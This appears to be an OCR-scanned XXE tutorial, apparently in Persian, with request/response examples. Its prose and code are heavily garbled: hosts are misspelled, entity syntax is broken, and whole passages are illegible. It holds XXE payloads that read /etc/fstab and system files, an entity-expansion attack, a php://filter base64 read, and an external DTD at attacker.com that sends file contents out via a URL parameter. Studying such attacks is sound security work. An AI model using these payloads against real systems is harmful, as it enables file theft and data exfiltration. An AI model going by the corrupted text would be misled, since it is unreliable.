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Request Response
POST hitp://example.com/xml HTTP/1.1 HTTP/1.0 208 0K
<foo>
Hello World Hello MWorld
</foo>
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2 XML External Entity (XXE)

3 Server Side Request Forgery: https://www.acunetix.com/blog/articles/server-side-request-
forgery-vulnerability/
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Request Response

POST http://example.com/xnl HITP/1.1 HTTP/1.8 200 OX

Hello wWorld
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4 XML Schema Definition (XSD): https://searchmicroservices.techtarget.com/definition/XSD-XML-
Schema-Definition

> Data Type Definition (DTD): https://searchmicroservices.techtarget.com/definition/data-type
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Request Response

POST http://example,com/xml HTTP/1.1 HITP/1.6 200 OX

C L o Hello World World World World World World Wor
ELEMENT foo AN 1d World World World World World World World

E d World World World World World World World Wor
ENTITY €1 "Bharj&ba ld World World World World World World World
ENTITY £2 "St1;8¢1;841 ;841 World World World World World World World Wor
ENTITY 3 “ad 1IN Y £2;5¢2; 1d World World World
<foo>
Hello 8¢3;
</foo>
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Request Response

POST http://example.com/xml HTTP/1.1 HITP/1.@ 208 QX

DISTRIB_ID«Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENMME=xenial

DISTRIB DESCRIPTION="Ubuntu 16.64 LTS"
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Request Response
POST http://exsaple.com/xml HTTP/1.1 HTTP/1.8 288 OK

Hello, I'm a file on the local network (behin

d the firewall)

<foo>
&bar;
</foo>
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Request Response

POST http://exampla.com/xml HTTP/1.1 HTYTP/1.8 58@ Intarnal Server Error

File "file Jetc/fstab™, line

Ixml . otrae.XMLSyntaxError: Specification mand
ate value for attribute system, line 3, colum

<foo>
&bar;
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<data><![CDATA] g characters are in here ]]>¢/data>

olod Jlosl 5 Cenlgs p3 4y 4l (Sl o Wl oo w2 lee £9050 (nl @ axg b cnlple
Request Expected Response

POST http://example.com/xml HTTP/1.1 HTTP/1.8 208 OK

proc [proc proc defaults © @
IENTITY all "&start;&File;&end;"™> UID=be35a709-c787-4198-3983-d57dc8Bab2f. .. !
I -
<data>&all;</data> UUID=ceel5eca-5b2e-48ad-9735-eae5acl4bc9. ..

/dev/scd8 [media/cdrom® udf,iso9668 ...

" https://stackoverflow.com/questions/2784183/what-does-cdata-in-xml-mean
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Request Expected Response
POST http://example.com/xml HTTP/1.1 HTTP/1.8 208 OK
bar

<datarBgenEntity;</data>
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8 General entities

? Regular entities
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Request Attacker DTD (attacker.com/evil.dtd)

POST http://example.con/xml HTTP/1.1 TY 3 file SYSTEM “"file:///etc/fstab™>
¥ % start “<![CDATA[">
ENTITY % end “"]]>"
! TY % all "CIENTITY fileContents ‘XEstart
i Xfilei%end; '>

LENTI

<datar&fileContents;</data>

Cudg>ge U oS co (0 ol XML oaiiS ey jo0 caiS g0 Jloyl 1) (399 Canlgs )0 palpe a5 oK
WS bsls 5 http://attacker.com/evil.dtd 4 coulss s o ol L1, 7 dtd il )b

3345 A o 6,18, 1, (evildtd ) 7 file yiol )b auis XML 00iiSa 325 caleo DTD s5bils 51 o
5 ooliul b <ICDATAN] > slacas o |, LB Slgime o S etc/fstabl/ 5,50 oyl
@ 6,50 el Casgrge S o 1y oyl g S e sonatus - end o / start el slacuss>ge
AS o 00 2 all s

a5 uiS o ol 1, & fileContents sl & ogos Cudgzge S/ all a5 coul opl oaimocy 3 4iss
Slacossrge 5l Sl oo prles a5 wndl ails S5 53035 5 p2les 4 Gl 5l (2250 plyeds wlg oo
XML s J2 1o 1o a5 g auS 0olaswl DTD (9,0 Load 2l

Zowl CDATA oS5 o (ete/fstab /) LB by b oloe a0 gl SO 15 asecs

PHP U9y gowdim Y-V

o>lee il PHP 4ol S XML External entity (XXE) 4 pdscaw] og aslip a5 (68,050 4o
PHP JSSsn laceSdl waes abxl wax sla)l5 (> p PHP JSS5 5 (odins Gl 4 Wl oo

o5 o ) PHP 095 5,5 9 (639,9 4y dy (g yiwd 03l>] &S s (29,5 5 (599,9 slaald,




;.s»u,u;;.,l:.)u XXE Q)Lé?' C\P'u.‘ ﬁ&

(e il g st fail

S eolatwl bl SO Glgime Basebd' 5 135 50, g php//filter JSSg, 5l Wl oo ploe

Soy 21y bl lia wilgs o ploe gl co ALl yuine XML (ylgicds dion Basest aslxilj)

Oeimed gy (nl el yogdle alST SlaS e, (28l 0 L jo 1y bl e 5 S (5138 50, 59 5
Ao 18 8w 0 90 | (60l o b paloe dad e ojlal a5 Cnl (g i Co e o
Request Response

POST http://example.com/xml.php HTTP/1.1 NTTP/1.0 266 OK

IyAvZXAIL2Z2dGF10iB2dGFBaNMgZml s ZSBzeXNOZWaga
WSab3JtYXRpb24uDQo D00 j IDxmakx L THNScIR1bTAgPG
1vdW50 IHBvaWSOP IAg IDxBeXBlPiAgPGIWdGl vbnMe ICA
g1CAgIDxkdWlwPiAgPHBhC AN DQONCNBYb2Mg 1CSwemS j
ICBwemS 1CBKZWZ hdWxBcyAgMCAMABK Ly AvZGY2L INKY

TUNCIVWSUQOYmU 2 NWE IMDkt Y 2 c ANy OBMT k4 LWESMDML ZD

<foo> VmZGMAMGF iMmYATCAVICBleHQz ICBy ZWxhdGltZSxlicend
Bbar; venMIemVED 3VudC 1yby AgMCAGMQOK Iy AvZGV2L 3NKY TYN
</foo> CIVWSUQIY2VIMTVIY2EtNWL y ZSO00GF kL ThIM2UL ZWF IN

WFIMTRiYzkwICBub2511CBzd2.
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10 https://stackoverflow.com/questions/201479/what-is-base-64-encoding-used-for
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Request Attacker DTD (attacker.com/evil.dtd)
POST http://example.com/xml HTTP/1.1 CLENTITY % all “<IENTITY send SYSTEM 'http://
attacker.com/?collect=%file; ' >">
%all;

<data>8send;</data>
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asl_wURL a5 Sl oy aolyye (http://attacker.com/?collect=DISTRIB_ID=Ubuntu...
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